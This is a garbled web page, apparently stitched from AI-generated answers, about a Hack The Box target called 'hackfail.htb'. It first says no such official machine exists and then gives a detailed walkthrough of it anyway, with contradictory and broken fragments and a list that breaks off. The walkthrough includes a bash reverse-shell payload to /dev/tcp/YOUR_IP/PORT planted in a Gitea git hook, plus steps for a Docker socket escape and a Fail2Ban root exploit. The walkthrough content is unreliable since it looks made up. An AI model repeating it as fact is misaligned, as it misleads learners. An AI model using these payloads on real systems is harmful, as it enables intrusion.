While there is no single "official" piece or public machine specifically named hackfail.htb in the standard Hack The Box (HTB)
library as of April 2026, the term typically refers to a custom domain used in a private laboratory, a specific CTF challenge, or a simplified tutorial environment. In the context of HTB, addresses ending in
are used to map a machine's IP address to a hostname in your local /etc/hosts 0xRick's Blog Common Contexts for hackfail.htb Active Directory Labs : Custom domains like hackfail.htb are frequently used in HTB Pro Labs or Academy modules to simulate corporate environments. CTF Challenges : During specific events like the HTB University CTF
or Business CTF, unique hostnames are often assigned to targets. Educational Tutorials HTB Academy
modules use placeholder hostnames to teach DNS enumeration and virtual host routing. Hack The Box General Methodology for Such Targets
If you are currently working on a target with this hostname, the standard HTB workflow usually follows these steps: Host Mapping : Add the IP to your hosts file: echo "[IP_ADDRESS] hackfail.htb" | sudo tee -a /etc/hosts Enumeration
scan to identify open ports (common ports include 80/443 for web, 22 for SSH, or 445/139 for SMB). Subdomain Discovery : Use tools like to look for subdomains (e.g., dev.hackfail.htb ) that might host vulnerable applications. Exploitation
: Look for common web vulnerabilities like Local File Inclusion (LFI), SQL Injection, or Server-Side Request Forgery (SSRF) to gain an initial foothold. Privilege Escalation : Once you have "User" access (often found in a
file), enumerate the system for misconfigured SUID binaries or kernel exploits to reach "Root".
If this is a specific retired machine or a newer "Sherlock" challenge, you can often find detailed walkthroughs from community members like once the machine is no longer active. about.gitlab.com hackfail.htb
HackFail HTB: A Comprehensive Walkthrough HackFail is an Easy-rated Linux machine on Hack The Box that emphasizes the importance of secure coding practices and proper configuration of development environments. It provides an excellent playground for learning about Gitea vulnerabilities, Docker escapes, and exploiting misconfigured automation tools. 🔍 Phase 1: Reconnaissance & Enumeration
The first step in any penetration test is understanding the attack surface. Port Scanning A standard Nmap scan reveals two open ports: Port 22 (SSH): Open, running OpenSSH. Port 80 (HTTP): Open, serving a web application. Web Discovery
Navigating to the IP address on port 80 reveals a custom web application. Further directory busting or clicking through links often reveals a development sub-domain or a linked service. In the case of HackFail, you will encounter a Gitea instance, a self-hosted Git service popular among developers. 🏗️ Phase 2: Initial Access (Exploiting Gitea)
Gitea is the primary vector for gaining a foothold on this machine. Identifying the Vulnerability
Older versions of Gitea are susceptible to various vulnerabilities, including Remote Code Execution (RCE) through Git hooks. If you can gain administrative access to a repository, you can often execute commands on the underlying server. The Attack Path
Find Credentials: Check the web application for leaked credentials or look for "Register" buttons that might be open.
Locate Repositories: Browse through public repositories. Look for configuration files (like .env or config.php) that might contain secrets. Exploit Git Hooks: If you find a repository you can edit: Navigate to Settings > Git Hooks. Edit the pre-receive or post-update hook.
Insert a bash reverse shell payload: bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1. Push a dummy commit to trigger the hook. 🐳 Phase 3: Lateral Movement & Docker
Once you have a shell, you will likely find yourself inside a Docker container. Escaping the Container While there is no single "official" piece or
Enumeration inside the container reveals that it has access to specific files or the Docker socket.
Check for Environment Variables: Look for API keys or database passwords.
Look for Mounted Volumes: Check /mnt or other unusual directories for files belonging to the host system.
Docker Socket: If /var/run/docker.sock is accessible, you can use it to spawn a new container that mounts the host's root filesystem. 👑 Phase 4: Privilege Escalation to Root
The final step is moving from a standard user (or container escape) to the root user. Exploiting Fail2Ban
On HackFail, the path to root often involves Fail2Ban, an intrusion prevention framework. If a user has write access to the Fail2Ban configuration or its custom action scripts, they can achieve code execution as root. Locate Action Scripts: Check /etc/fail2ban/action.d/.
Modify a Script: Add a command to one of the scripts (like iptables-multiport.conf) that creates a SUID binary or sends a reverse shell.
Trigger the Ban: Purposely fail several SSH login attempts to trigger Fail2Ban. When Fail2Ban executes the modified action script to "ban" you, it executes your malicious command as the root user. 🛡️ Key Takeaways & Mitigation
Update Software: Always keep Gitea and other web services patched to the latest version. Draft: Initial Look at hackfail
Secure Git Hooks: Disable Git hooks for non-admin users in Gitea's app.ini.
Principle of Least Privilege: Never run containers as root and avoid mounting the Docker socket unless absolutely necessary.
File Permissions: Ensure that configuration files for security tools like Fail2Ban are only writable by the root user.
If you'd like to dive deeper into any of these steps, I can provide: The exact Nmap command used for initial discovery. A Python script to automate the Gitea hook exploit. The Fail2Ban configuration details for the root exploit.
hackfail.htb presents itself as a deceptively simple target. Initial reconnaissance suggests a machine designed to trip up novice penetration testers while offering subtle lessons for the more seasoned operator.
Reconnaissance is where most real attacks begin, and HackFail.htb rewarded time spent discovering rather than brute-forcing. Enumerating subpaths, probing for hidden endpoints, and parsing HTML comments revealed:
Tools like directory brute-forcers, passive crawling, and careful inspection of responses uncovered these with minimal noise — the hallmark of stealthy, effective reconnaissance.
If you are currently trying to root hackfail.htb and are stuck, here are the top three reasons your attempt is failing:
backup.cfg from TFTP reveals SSH keys.gobuster vhost -u hackfail.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt.
